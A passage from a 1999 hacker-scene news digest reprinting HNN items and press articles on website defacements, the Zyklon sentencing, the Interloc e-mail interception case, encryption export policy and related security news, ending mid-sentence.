Attrition Adds Features ~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by cult_hero Attrition.org has done an overhaul on their defaced mirror archive. On top of significant updates to existing mirrors, they have created several new targeted mail lists to help notify people of defaced sites. 'defaced-gm' caters to individuals that wish to stay abreast of the latest Government and Military defacements. A second new list 'defaced-alpha' is designed for law enforcement and security admins that wish to be notified immediately, via alpha-numeric pager. Attrition Mirror http://www.attrition.org/mirror/attrition/ List Information http://www.attrition.org/security/lists.html Note: this info has been included in our mailing lists section - Ed @HWA 10.0 Zyklon Sentenced to 15 Months ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by altomo and William Knowles On Friday Zyklon (Eric Burns) plead guilty in U.S. District Court in Alexandria, Va., to a single felony count of intentionally breaking into one computer, but admitted involvement in numerous other electronic attacks. He has been sentenced to 15 months in federal prison and ordered to pay $36,240 in restitution. In addition he will be banned from using a computer for three years after his release. Zyklon has denied being directly involved with the defacement of the White House web page earlier this year. He said he knew who was behind the defacement but that he would not reveal their identities. Prosecutors claim that Zyklon caused $40,000 damage to government and business web sites. Zyklon is expected to report to prison in four to six weeks. HNN Mirror of White House Defacement http://www.hackernews.com/archive/1999/whitehouse/gh.html Herald Net http://www.heraldnet.com/Stories/99/11/20/11676045.htm The Straits Times http://www.straitstimes.asia1.com/cyb/cyb1_1122.html Associated Press - Via Yahoo http://dailynews.yahoo.com/h/ap/19991122/tc/white_house_hacker_3.html Herald; Shoreline hacker gets 15-month sentence Washington Post and Herald staff A 19-year-old from Shoreline who broke into computer systems around the Washington, D.C., area was sentenced Friday to 15 months in prison for infiltrating and altering World Wide Web sites used by Vice President Al Gore, NATO and the U.S. Information Agency. Eric Burns of Shoreline used the name "Zyklon" and often left love notes for a high school classmate named Crystal on the sites that he attacked. One of his assaults closed down the USIA site for eight days, court documents say. Burns also compromised computer systems operated by the Toronto Star newspaper and the Chinese government. He often left behind a signature love letter to Crystal and the phrase "Hack by Zyklon." Fixing the damage he caused cost between $40,000 and $120,000. The hackings occurred during a two-year period, ending earlier this year. After an FBI investigation, a federal grand jury indicted Burns in May and charged him with three counts of computer intrusion. Burns originally faced a possible 15-year prison sentence. But prosecutors agreed to drop two of the charges in exchange for a guilty plea to one count and an agreement to pay $36,240 in restitution. After the plea, Burns faced a maximum five years in prison and a $250,000 fine. At the hearing Friday morning in federal court in Alexandria, Va., Burns apologized for his activities. "I disgust myself," he told U.S. District Judge James Cacheris. "I am very ashamed of what I have done." Cacheris said that under the sentencing guidelines, Burns' computer crime was particularly serious because his actions involved use of a "special skill," but he gave him credit for "acceptance of responsibility" because Burns pleaded guilty. -=- Straits Times; NOV 22 1999 Teen jailed for hacking into US govt sites WASHINGTON -- A 19-year-old was jailed for 15 months for breaking into several highly-protected United States Internet sites, including that of Vice-President Al Gore, and declaring his love for a classmate on them. For two years, Eric Burns broke into the websites of the US Information Agency (USIA), Nato and other governmental agencies, the Washington Post reported on Saturday. One amorous declaration he posted on the sites was: "Crystal, I love you." But USIA did not like his romantic overtures and had to shut down its server for eight days, costing the agency tens of thousands of dollars in repairs. Burns, of Washington, agreed to pay US$36,240 (S$60,520) to his victims. Burns, described by his attorney Ralph Hurvitz as a loner, told a US federal judge on Friday that he had no computer training, but he created a hacking program with computer books he bought in stores. -- AFP -=- Assoc. Press; Monday November 22 9:54 PM ET White House Hacker Faces Prison By TED BRIDIS Associated Press Writer WASHINGTON (AP) - At age 19, hacker Eric Burns has already wandered the underpinnings of the Web where few had gone before, including an illicit visit inside computers at the White House in May. ``I didn't really think it was too much of a big deal,'' said Burns - hacker name Zyklon - who admitted responsibility for some of the most sensational attacks on corporate and government Internet sites. He was sentenced Friday in U.S. District Court in Alexandria, Va., to 15 months in prison and three years of supervised probation and ordered to pay restitution of $36,240. And under a judge's order, he won't be allowed to touch a computer for three years after his release. Burns pleaded guilty Sept. 7 to a single felony count of intentionally hacking into one computer, but he admitted involvement in the spate of electronic assaults. Burns was initially indicted May 13 on charges of breaking into computers for the U.S. Information Agency and two businesses. That was four days after the White House Internet site - at www.whitehouse.gov - was electronically assaulted. Initially, Burns said he wasn't directly involved in that White House attack in which the altered site included the phrase, ``following peeps get some shouts'' - hacker slang for ``hello'' - and listed a dozen names, including Zyklon. Zyklon is the name of a poison gas used by Nazis against Jews. But federal prosecutors said Burns boasted of the White House attack online even before it happened, and Burns admitted at his sentencing Friday he was among three people who altered the site briefly to show a black Web page with the names of hacker organizations, along with messages, ``Your box was own3d,'' and, ``Stop all the war.'' He said Monday in a telephone interview from his home in Shoreline, Wash., that he will refuse to identify his two partners to the Secret Service, partly because he believes the criminal penalties for hackers are too steep. His punishment didn't fit his crime, he insisted. ``I'd rather not have what happened to me happen to anyone else,'' Burns said. ``I don't really agree with the kind of sentencing range there is for the crime.'' The seriousness of the trouble facing Burns didn't sink in, he admitted, even after FBI agents raided his home and took his computer. ``I just gave them a confession,'' Burns said. ``I didn't think it was too big a deal.'' Prosecutors indicated otherwise. U.S. Attorney Helen Fahey said Burns attacked computers on the Internet controlling Web sites for NATO, a U.S. embassy and consulates and even Vice President Al Gore. The USIA Web site was shut down for eight days after Burns' attack. All told, the attacks cost the government and businesses more than $40,000, prosecutors said. When the White House site was vandalized, experts ``had to shut down the Web server, disconnect both the public and private computer networks from the Internet for two days and reconfigure the computer system,'' Fahey said in a statement. Burns expects to report to federal prison in four to six weeks, which he hopes will let him spend Thanksgiving and the holidays with his family. With time off for good behavior, his lawyer told him he might spend as few as 13 months behind bars. Although his sentence says he won't be allowed to use a computer during three years of supervised probation when he's released, he's already planning to ask his probation officer whether he'll be allowed to use one for work. ``I really don't know'' how the arrest and time in prison will affect his future, Burns said. ``Hopefully, it won't impact it too bad.'' @HWA 11.0 Email Stolen From Amazon.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by lowearthorbital A company known as Interloc, a rare used book dealer based in Greenfield MA, had been charged with 10 counts of unlawfully intercepting e-mail messages and one count of unauthorized possession of passwords with intent to defraud. Prosecutors said that between January and June of 1998, Interloc used an altered electronic mail program to automatically intercept and store thousands e-mail messages from Amazon.com that were intended for book dealers. Interloc has settled out of court and has agreed to pay a $250,000 fine. (It is hard to tell from these articles exactly how this happened but it looks like Interloc owned the ISP from which it stole the emails. Glad the reporters cleared that up.) Boston Globe http://www.boston.com/dailyglobe2/326/nation/email.htm Nando Times http://www.nandotimes.com/technology/story/body/0,1634,500060697-500100305-500418716-0,00.html Wired http://www.wired.com/news/reuters/0,1349,32704,00.html Boston Globe; Internet merchant accused of intercepting rival's e-mail By Steven Wilmsen, Globe Staff, 11/23/99 An Internet bookseller based in Greenfield has been accused of using a computer program to intercept thousands of e-mail messages illegally from Amazon.com, possibly to steal corporate strategies from its giant on-line rival, federal prosecutors said yesterday. The case is one of the first times federal authorities have charged that a company read e-mail between another firm and its customers in an apparent attempt to gain an advantage, prosecutors said. They say the case highlights an imminent danger in the fiercely combative world of Internet commerce: on-line entrepreneurs who may be tempted to gather information surreptitiously on their competitors. ``It's been extremely common to see hackers who get information just because they can get it,'' said Jeanne M. Kempthorne, the assistant US attorney in Boston prosecuting the case. ``What's new about this is to see it in the corporate setting.'' In a filing yesterday in US District Court in Boston, prosecutors said that in January 1998, Greenfield-based Interloc altered an electronic mail program so that it automatically intercepted and stored e-mail messages from Amazon.com that were intended for book dealers. Interloc's new corporate owner yesterday agreed to settle the case, in which Interloc was charged with 10 counts of unlawfully intercepting e-mail messages and one count of unauthorized possession of passwords with intent to defraud. The owner also agreed to pay a $250,000 fine. ``From the company's standpoint, this is old news,'' said Ethan Schulman, a lawyer for Alibris, an Internet bookseller based in Emeryville, Calif., which acquired Interloc last year. ``This was an inherited problem, and it's a chapter they'd like to close.'' Schulman also said ``appropriate disciplinary action'' has been taken against Interloc employees involved in the e-mail interceptions. He declined to elaborate. According to prosecutors, between January and June of 1998, Interloc intercepted thousands of Amazon.com e-mail messages and stored them in a computer system. In one two-week period alone, 3,067 e-mail messages were intercepted, prosecutors said. Prosecutors said they have not determined exactly how Interloc used the messages once they were sent to a database but that it appeared the firm wanted to learn about Amazon.com's dealings with booksellers who were also Interloc customers. Interloc specialized in rare and used books. It also operated a small Internet provider service, similar to larger services like America Online or Netscape, called Valinet. Interloc's customers, many of them booksellers, had e-mail accounts at Valinet through which they would receive messages from Ama zon.com. Interloc programmed a computer to sort out the e-mail from Amazon.com, prosecutors said. In addition, Interloc employees broke into other Internet service providers and stole customer passwords, they said. ``It certainly appears they did this for competitive reasons, but the law doesn't care whether you're getting corporate secrets or grocery lists,'' Kempthorne said. ``The only thing that matters in terms of the law is that they intercepted it.'' Schulman said that while Alibris has acknowledged that Interloc improperly intercepted e-mail, there is no evidence that it did so to spy on Amazon.com. He said the e-mail was intercepted in the course of trying to determine the source of a computer glitch that was interferring with customer orders. ``No confidential customer information was obtained or misused,'' he said. But he conceded that ``there were some people doing things they shouldn't have been doing.'' While the court filings didn't name specific Interloc employees or say how many were involved, prosecutors said yesterday that the Interloc employees who programmed the e-mail interceptions acted with the knowledge of company officials. Prosecutors also said some believed they had done nothing wrong. ``There is a computer culture out there that says, `If you can do it, God bless you,' no matter what the law is,'' Kempthorne said. ``They think of this as some sort of lawless frontier. Just because they're brilliant doesn't mean they don't have to abide by the rules the rest of us live by.'' Indeed, observers said that corporate espionage on the information superhighway was almost inevitable, in part because the early days of the Internet were dominated by many individuals who thought of hacking as an art form, not as a crime. That culture presents a threat to the rapidly expanding number of companies that want to do business on line but also need to protect proprietary information. ``The Internet is absolutely huge,'' said Pete Tasker, executive director of security and information operations of Medford-based Mitre Corp. ``That means there are lots of ways to listen in if you really want to. This is the first time I've heard of a case like this, but it's what we all worry about.'' -=- Nando Times; Online bookseller settles case of intercepted Amazon e-mail Copyright © 1999 Nando Media Copyright © 1999 Associated Press BOSTON (November 23, 1999 8:17 a.m. EST http://www.nandotimes.com) - An Internet bookseller has agreed to pay $250,000 to settle federal charges its coporate predecessor snagged e-mails sent by giant rival Amazon.com and possessed unauthorized password files. Alibris, based in Emeryville, Calif., was charged in a criminal information Monday with 10 counts of unlawful interception of e-mail messages and one count of unauthorized possession of passwords with intent to defraud. The information focuses on the company's corporate predecessor - the now defunct Interloc Inc., an online bookseller that also provided Internet service in the Greenfield area through a business called Valinet. Alibris, which faced a maximum penalty of $250,000 on each count, agreed Monday to settle the case for $250,000. "We're a different company in a different business now, and it was just time to clean this stuff up," said Martin Manley, Alibris' president. The information alleges that between January and June 1998, Alibris/Interloc intercepted e-mail messages from Amazon.com to Alibris/Interloc clients that used Interloc e-mail addresses. Many of the Interloc clients were themselves booksellers. Prosecutors say the interceptions were designed, in part, to gain competitive advantage for Alibris' online book-selling business. In January of last year, U.S. Attorney Donald K. Stern said, Interloc altered its e-mail service so that it automatically intercepted and stored e-mail addressed from Amazon.com to Interloc's book dealer customers. Thousands of e-mail communications were intercepted, Stern said, but no confidential customer financial information was obtained or misused. Prosecutors also allege Interloc kept unauthorized copies of the confidential password files and customer lists of its competitor Internet service providers. Ethan Schulman, a lawyer for Alibris, said that while Alibris is acknowledging that Interloc improperly intercepted e-mail, the intent was not to spy on Amazon.com but to trace the source of a computer glitch. -=- Wired; Alibris Pleads Guilty to Snooping Reuters 2:00 p.m. 22.Nov.1999 PST Alibris, an online rare bookseller, pleaded guilty to intercepting emails between its clients and online retail giant Amazon.com, a federal prosecutor in Boston said Monday. Alibris agreed to pay US$250,000 to settle criminal claims by US Attorney Donald Stern that it intercepted email messages to its clients from Amazon.com. Alibris, of Emeryville, California, said it no longer offers clients email service, but its corporate predecessor, Interloc, did. Stern's office contends that Interloc intercepted the messages between its customers and Amazon.com in part to gain commercial advantage by gathering information on its customers' purchases and obtaining market data. Alibris admits to the wrongdoing but said it gained no commercial advantage because it already knew what its customers were buying. Rather, according to president and CEO Martin Manley, the company broke the law when it tried to rectify complaints from some clients who said they weren't receiving email messages from Amazon.com. In tracking such messages to determine the problem, the company unlawfully captured the messages, although Manley said it did not read them. "The conclusions reached by the government in this, with respect to motive, are not necessarily ones we share," Manley told Reuters. Assistant US Attorney Jeanne Kempthorne, who is prosecuting the case, said there is no evidence anyone suffered financial harm as a result of the conduct, which occurred in 1998 and involved nearly 4,000 electronic messages. But, she added, "I think the violation of privacy is a material harm." Copyright 1999 Reuters Limited. @HWA 12.0 Industry Pressures White House on Crypto Exports ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Simple Nomad A large number of CEOs and other business leaders from numerous U.S. software and technical companies have signed a letter sent to White House Chief of Staff John Podesta imploring him to stick to the promises made last September regarding relaxing the export of encryption technology. TechNet, the lobbying group, is worried that the White House may alter their original plans and include rigid definitions that would limit the effectiveness of the entire initiative. Computer Currents http://www.currents.net/newstoday/99/11/22/news2.html Daily News Crypto Fears By Robert MacMillan, Newsbytes. November 22, 1999 As insidious fears that the administration's proposed encryption policy changes won't be as tech-friendly as the White House said they would be, members of high-tech lobbying firms are joining the letter writing campaign to urge the administration to stay on the straight-and-narrow. The Technology Network (TechNet) lobbying group joined what until now has been a mainly congressional letter-writing campaign to make sure that the administration sticks to the essence of the strong encryption control policies that it announced in September. The TechNet letter, signed by 23 members, and sent to White House Chief of Staff John Podesta, expresses concern over recent reports that the encryption regulations, scheduled for a Dec. 15 release, "may include restrictive definitions of 'government' and 'retail' which may significantly limit the effectiveness of the regulations." The letter was signed by, among others" 3Com Corp. Chief Executive Officer (CEO) Eric Benhamou; Scientific Learning Corp. CEO Sheryle Bolton; America Online Inc. CEO Steve Case; Autoweb.com CEO Dean DeBiase; Texas Instruments CEO Thomas Engibous; Kleiner Perkins Caufield & Byers partner Floyd Kvamme; Oracle Corp. President and Chief Operating Officer (COO) Ray Lane; Sun Microsystems Inc. CEO Scott McNealy; Marimba Software CEO Kim Polese; Novell Inc. CEO Eric Schmidt; Software and Information Industry Association President Ken Wasch; and former Hewlett-Packard Co. CEO John Young. "We urge you to ensure that the new regulations are drafted in a manner that provides real improvements in the ability of American companies to export encryption products," said the TechNet letter. "We are concerned that the new regulations may fall short of realizing the promise of the announcement by failing to level the playing field for US manufacturers in the global encryption marketplace." "Our nation's restrictive export policies...have allowed foreign encryption manufacturers to make significant gains, threatening America's leadership position in this important technology sector," the letter also stated. "It is conceivable that one day the United States will be forced to rely on foreign-made encryption to protect our own critical infrastructure. We urge you to ensure that the new regulations are drafted in a manner that provides real improvements in the ability of American companies to export encryption products." One of the reports surfacing about draft versions of the regulations is that a more stringent review would apply to products sold via the Internet as opposed to stores. TechNet said that "retail" products should not be defined by how they are distributed, because this could create a "competitive anomaly where two products that provide similar end-user functionality would be treated differently because one is delivered in a box while another is delivered as a service over the Net." TechNet also worried that the regulations might define "government" as not only agencies and official government bodies, but as companies that include partial government ownership. The group also said that open source code should not require individual licenses from the Commerce Department because it "would have a dramatically inhibiting impact on these new movements which are providing a source of innovation and competition in the marketplace." Another TechNet concern is that Commerce Department reviews should be limited to 30 days. Commerce Department officials in the Bureau of Export Administration did not have any immediate comment on the letters, which also have come from House Republican leadership and Reps. Robert Goodlatte, R-Va., and Zoe Lofgren, D-Va., but BXA Chief William Reinsch noted last week that the regulations are in a draft form and changes still are in the works. Reported by Newsbytes.com, http://www.newsbytes.com . @HWA 13.0 Telenor Nextel Servers Compromised ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by rootxs Telenor Nextel, Norway's largest telecommunication provider, had one of their servers compromised. The system contained information on the company's 500 business partners. The electronic intruders could read and alter information regarding customers. They gained access to the information of 20 of thier customers. No altering of database information was reported. The accounts are now closed, and Telenor has control over the situation. (We apologize for the choppy information but our Norwegian isn't what it used to be.) TV 2 hovedside" - Norweigen http://www2.tv2.no/nyheter/tv2/owa/web_nyheter.vis_nyhet?xid=363081&kategori=1 @HWA 14.0 FBI Wants Dollars for Information Security ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Simple Nomad The FBI is hoping that the Information Sharing Initiative currently stuck in Congress will provide it with much needed funding to boost its information security. They are claiming that they are relying on outdated computers and networks. If funded the initiative will give investigators quick access to numerous databases and computer files now scattered on systems across the agency. federal Computer Week http://www.fcw.com/pubs/fcw/1999/1122/fcw-polfbi-11-22-99.html NOVEMBER 22, 1999 FBI bets on new IT initiative for security With no new security funds expected for fiscal 2000, the agency hopes its new project will address assurance issues BY L. SCOTT TILLETT (scott_tillett@fcw.com) Anticipating no new money for information security, the FBI is hoping a major computer project currently hung up in Congress will provide the new technology needed to make its information more secure, a top agency official said last week. Mark Tanner, information resources manager at the FBI, said he expected no "enhancement and maybe some reduction" for information assurance in its fiscal 2000 budget, which Congress has yet to pass. "We need more [money], but doesn't everybody?" he said. But many of the agency's concerns stem from its reliance on outdated computers and networks. The Information Sharing Initiative, waiting for funding from Congress, would address that problem, Tanner said. ISI was designed to give investigators quick access to the many databases and computer files now scattered on systems across the bureau, improving the speed and quality of their work. The program would equip FBI employees with up-to-date desktop computers, software and networking technology. Tanner, speaking Thursday at a meeting of the Industry Advisory Council, said an up-to-date computer infrastructure was an essential piece to assuring the quality and security of information. "I think we need to maintain a modern infrastructure," he said. "We need to have a well-stocked toolbox." The quality of some components of the FBI toolbox is "awful," said Tanner in an interview after his presentation. He said the agency still has many older, slower 486 PCs and that some of the agency's routers and network equipment is as old as 10 years. FBI officials have requested $430 million for ISI over five years. In the latest version of the bill to fund the FBI, however, Congress, concerned about the FBI's mismanagement of other major information technology projects, has set aside only $20 million for ISI in fiscal 2000, plus an additional $60 million the agency did not use in fiscal 1999. Still, technology may not be an adequate defense, said James Litchko, a Kensington, Md.-based information security consultant. "You can put a lot of technology in place, but if you don't test it, there could be something in there that could cause you problems," he said. "You can wall yourself, but somebody's going to dig a hole." But agency and industry officials say the FBI is not alone in feeling the budget squeeze when it comes to information security, given the tight spending caps in place since 1997. "The funding [for information security] isn't there to do anything significant and probably isn't going to be there for another one or two years," said Donald Hagerling, information systems security program manager at the Treasury Department, speaking at an event last month sponsored by the Bethesda, Md., chapter of Armed Forces Communications and Electronics Association International. "I'm not getting a sense from any of the agencies that I call on that there is program money set for the acquisition of specifics within [information] assurance and protection," said Charles Viator Jr., sales manager for Protegrity Inc., a software company that sells information security products. Tanner said the FBI spends about $200 million annually on IT, but he could not say how much the agency spends on security. @HWA 15.0 JavaScript and ActiveX May Be Banned by DOD ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Space Rogue The Department of Defense is reportedly considering banning ActiveX and JavaScript from military computers citing security concerns. (I have it turned off, and life continues. At least they are doing something.) ZD Net http://www.zdnet.com/zdnn/stories/news/0,4586,2398182,00.html?chkpt=zdnntop (Sorry couldn't cut and paste this article for some reason.... - Ed) @HWA 16.0 Is It Worth It Followup ~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Space Rogue Yesterdays Buffer Overflow article "Is It Worth It" has prompted so many questions that the author will be writing a follow up article. So if you have questions be sure to send them in to the author. We also have a response from the other side. An active web page defacer, YTCracker, has told us why he does it. Look for both articles next week. @HWA 17.0 YTCracker Takes Out Gov Sites ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by c0nd0r Claiming a lack of security as the reason YTCracker has defaced the sites of NASA's Goddard Flight Center international page, the Bureau of Land Management's National Training Center, and the Defense Contracts Audit Agency. He claims the admins of the sites where warned beforehand of the vulnerabilities but chose not to patch the holes. (On Monday HNN will publish an exclusive article by YT Cracker about the reasons for his defacements.) HNN Cracked Pages Archive http://www.hackernews.com/archive/crackarch.html Wired http://www.wired.com/news/politics/0,1283,32729,00.html Cracker Launches Attack on NASA by Leander Kahney 4:00 p.m. 23.Nov.1999 PST The Web pages of three US Government agencies, including NASA's Goddard Flight Center, have been defaced by a cracker who is worried that US government security systems are vulnerable to cyberattack. The front pages of the sites for NASA's Goddard Flight Center international page, the Bureau of Land Management's National Training Center, and the Defense Contracts Audit Agency, on Wednesday were replaced with a page showing a cartoon of a hooded hacker wearing a peace symbol necklace and a message warning of Web site security holes. "To the US government and military -- I have warned you about these security flaws," wrote ytcracker on the Flight Center's front page. "Please secure our military systems to protect us from cyber attack. Identifying himself as a 17-year-old high school student from Colorado Springs, Colorado, ytcracker (for whitey-cracker) said he defaced the sites as a warning to the US government. "I'm not about being malicious," he said. "A lot of other countries are planning cyberwarfare on the US government. If other countries have malicious intent, how can we as US citizens feel safe? I did this to let them know they really have to prepare for these things." Ytcracker said he chose the sites after scanning numerous government agencies for those most vulnerable. The three sites were penetrated using a well-known trick that should have been known to the administrators and plugged, ytcracker said. Furthermore, he said, the administrators had been recently notified of the security hole but had ignored the warnings. "It seems the only way to get their attention is to show them," he said. The DCAA was cracked early Wednesday, followed by BLM and then NASA early Wednesday afternoon, ytcracker said. Speaking only minutes after cracking the NASA site, ytcracker declined to give his real name but said he has done very little to cover his tracks. As well as being able to follow the sites' server logs, which track visitors to the site, a link on the cracked NASA page leads more-or-less straight to his home page. "If they want to find me, it won't be very hard," he said. "I don't want them to misinterpret my actions. I didn't do it to offend them or show them up. It's basically to alert them. All I can do is pray to God and hope they do." NASA spokeswoman Janet Ruff said the organization took security "very seriously... when things like this happen they require a fast response." Ruff said NASA was continuing to investigate the breach, but that she could not comment further. However, B.K. DeLong, curator of Attrition.org's Web site defacement archive, which has mirrored the cracks, said the US government doesn't take the defacement of its Web sites kindly. DeLong noted that another cracker, known as Zyklon, was sentenced to 15 months in jail and a $36,000 fine last week for defacing the White House's Web page. DeLong said the cracks were significant security breaches. "Any government, military, or high-profile corporation is a significant hack," he said. "It shows once again that they're lacking in security." DeLong said the crack exploited the remote administration capabilities of Windows NT systems and isn't particularly difficult to perform. Before hanging up, ytcracker said: "I'm very much a patriot. I promote the same democratic ideals as the government endorses. I believe strongly in peace and harmony." @HWA 18.0 UK Bans Key Escrow ~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by gladius The "Electronic Communications Act 2000" was announced on the 19th of November. The bill now explicitly rules out key-escrow, and gives electronic digital signatures the same weight under law as signed printed papers. Electronic Communications Act 2000 http://www.parliament.the-stationery-office.co.uk/pa/cm199900/cmbills/004/2000004.htm @HWA 19.0 White Papers on Zero Knowledge ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Weld Pond The Chief Scientist for Zero Knowledge Systems, Ian Goldberg, has released beta versions of his doctoral thesis. The title of his thesis is "A Pseudonymous Communications Infrastructure for the Internet" which describes how Freedom by Zero Knowledge works. Ian's Research Page http://www.isaac.cs.berkeley.edu/~iang/ Zero Knowledge Systems http://www.zeroknowledge.com/clickthrough/click.asp?partner_id=542 @HWA 20.0 ParseTV Back On the Air ~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by ewollensky ParseTV, the weekly hack/phreak streaming video show, will be back on the air today (Wednesday). ParseTV went dark several weeks ago after the show's host Shamrock and the producer parted company. The show returns today with a new host and several guests. The show is scheduled to feature Dark Lord (Bruce Fancher), who will discuss the resurrection of MindVox, Izaac Falken, current co-host of Off The Hook, Sangfroid, who will give out information on Krystalia's untimely passing, and Cancer Omega, who will talk about the fine work being done by the Attrition Staff. The web site for ParseTV is still in a little bit of a mess and the show may not be available for streaming live at 4pm EST but it will definitely by archived for your viewing pleasure. ParseTV http://www.parsetv.com @HWA 21.0 English Conservatives Blame Hackers ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by pr0file Attempting to divert attention away from its 'foreign donation' scandle the Conservative Party in England has called in Scotland Yard to determine if its bank accounts have been electronically manipulated. The party feels that details about its bank account recently published in the Times could have only come from 'hackers' inside the Royal Bank of Scotland. (Must have been those evil Hackers, couldn't have been an employee or someone fishing your bank statements out of the trash. There is no evidence that says otherwise so it must have been the evil hackers.) BBC http://news.bbc.co.uk/hi/english/uk_politics/newsid_534000/534138.stm Late Update: 141524NOV99EST A much more realistic article has been publish regarding this story. BBC http://news.bbc.co.uk/hi/english/uk_politics/newsid_534000/534752.stm BBC(1); Tories in 'foreign donation' storm Michael Ashcroft is the party's largest donor The Conservative Party has called in the police to investigate the alleged hacking of its private bank accounts amid revelations about massive donations from the party's treasurer, Michael Ashcroft. The party denied wrongdoing over the £1m-a-year fund, channelled through the Belize Bank Trust. It argued details in The Times proved that its Royal Bank of Scotland accounts had been seen. Tory Party Chairman Michael Ancram claimed a "dirty tricks" campaign existed against Mr Ashcroft and the Conservative Party. Although the existence of the donations had already been widely reported, Mr Ancram said that the new details about how the money had been transferred must have been obtained illegally. "The information published by The Times could only have been obtained from our confidential bank statements," he said. "I am pretty clear in my own mind that can only have been accessed illegally." The Times says the donations would be in breach of proposed new rules on the overseas funding of parties and flout a 1997 pledge from leader William Hague to outlaw foreign donations. The newspaper - which was already being sued for libel by Mr Ashcroft - has also denied any wrongdoing. Editor Peter Stothard said: "This information came in the normal course of our inquiries. We did nothing illegal to acquire it." Data Protection Registrar Elizabeth France said she had not yet received a complaint asking her to investigate. "From what I have heard so far it is very difficult to establish whether there has been any offence at all or even any evidence that would give a lead to an investigation," she said. But the Conservatives, already battered by the Lord Archer controversy, say all Mr Ashcroft's donations were made in full accordance with party guidelines. Mr Ashcroft is a billionaire who holds dual UK and Belize citizenship, who lives for many months a year as in Central America. A spokesman for the treasurer on Wednesday said he was registered in Maidenhead as an overseas voter. The Conservatives say he is entitled to give money to his party, even though the donations are made via a Belize bank account. Mr Ancram said the real story was the "politically-motivated conspiracy" which led to the allegations. "This appears to be but the latest of a series of dirty tricks being perpetrated by those who will stop at nothing in order to keep this government in power," he said in an initial statement. "There is a climate of fear being created in Britain today. Dissidents are being silenced. Opponents are being smeared. "Now private bank accounts are hacked into in order to discredit and destroy anyone who stands in the way of this government's lust for power." The Times editor described the Conservative claim as an "extraordinary outburst" to distract from the newspaper's story. Labour challenged the Tories to provide evidence before insinuating any involvement in the episode by the party. Cabinet Office minister Ian McCartney said: "The Tory's A-Team - Archer, Aitken and Ashcroft - show the true face of today's Tories. One's in the doghouse, one's in the jailhouse and one's in the counting house." The latest storm follows a long-running row about party funding in general and particularly donations from Mr Ashcroft, the Conservative's biggest single donor. Lord Neill's Committee on Standards in Public Life earlier this year recommended a ban on all overseas funding of political parties. Legislation outlawing foreign trust donations is expected to be approved by Parliament within the coming year. In July, Mr Ashcroft issued a libel writ against The Times, over a series of allegations about his business interests which were also raised in the House of Commons. The move came after one Labour MP used parliamentary privilege - which allows MPs to make statements without fear of libel proceedings - to detail allegations apparently from US agencies' files. BBC(2); Inside the Tory 'hacking' claims Net crime fears prompted bank to postpone e-banking Stories about the alleged "hacking" into the Conservatives bank account bring to mind images of a lone young male - probably a social misfit - sitting in his basement, huddled over his computer. The reality is probably somewhat more anodyne. Think instead of a disgruntled Labour-supporting bank employee with a mean eye for a story and you probably have something closer to the truth. Ross Anderson, professor of computing at Cambridge University, told BBC News Online: "Twenty years ago, if you wanted to find out the details of a bank account you would have to get the ledger in the bank branch - which would probably mean bribing or sleeping with the person who had the keys to the safe. "When the banks computerised it meant that every one of its 70,000 or so tellers could see every customer's account. "Insecurity of data increases with the number of people who have access to it." Mathew Bevan, a computer security consultant and former computer hacker, backed Prof Anderson's theory. "The information could have come from a call centre or from within the bank. All banks are pretty much insecure," he told BBC News Online. "It takes a lot of talent to hack into a bank's computer and I don't think a hacker could be bothered without any financial reward. "And aside from the embarrassment, it's not going to stop the Tories winning the next election." The Royal Bank of Scotland - where the Conservatives have their account - said it has "complete confidence" in all its security systems. Dr Chris Thornton, Sussex University computing science lecturer, said: "If someone has been hacked, they usually keep it secret. "Anyone who makes it public usually has an ulterior motive." The Conservatives say the information could not have come from their London headquarters. But security consultant Matunda Nyanchama of accounting and consulting firm Ernst & Young, said: "About 80% of risks associated with an IT environment come from within. "But what we find is that the clients tend to - I think, partly, because of the press - look at these hackers out there on the internet." Hackers have indeed proved to be a threat to large organisations. Earlier this year internet hackers forced high street bank NatWest to postpone ambitious plans to allow customers access to their accounts from their home computers after it was revealed how online accounts could easily be attacked. Charles Herbert, NatWest online services manager, said its internet service had been put back pending further trials of security measures, which could include the issuing of smart cards to customers. The problems have emerged amid concern in the computer industry that the hackers may be exposing new security flaws as fast as the big software companies, such as Bill Gates's Microsoft, can repair them. The hackers are also switching tactics. Instead of attacking banks directly - as they did in one of the few publicised cases when $400,000 (£240,000) was stolen from Citibank in America - security experts believe they are targeting people's home computers and their personal accounts. By leaving viruses scattered across the internet, hackers have discovered they can seize control of home computers and steal people's legal identities. These can be used to attack bank accounts, lift phone records, electronic shopping accounts and private business information. @HWA 22.0 Canadian Student Arrested for Downloading Software ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Evil Wench A student at the Elk Island public school division east of Edmonton in Alberta Canada has been caught "trying to download hacking software". This article does not say if he was successful in his attempt or what he planned to do with the software or even what the software was. The student was charged by the RCMP with unauthorized use of a computer. (You seldom see ignorance levels this high.) Edmonton Sun - Via Lexis-Nexis http://web.lexis-nexis.com/more/cahners-chicago/11407/5224743/4 SECTION: NEWS, Pg. 8 LENGTH: 187 words HEADLINE: STUDENT HACKER CHARGED WITH HI-TECH VANDALISM BODY: An alleged hacker accused of downloading code-breaking software onto a school computer is getting more than detention - he's been charged by the cops. Early in November, a teacher in the Elk Island public school division east of Edmonton became suspicious that a student working on a 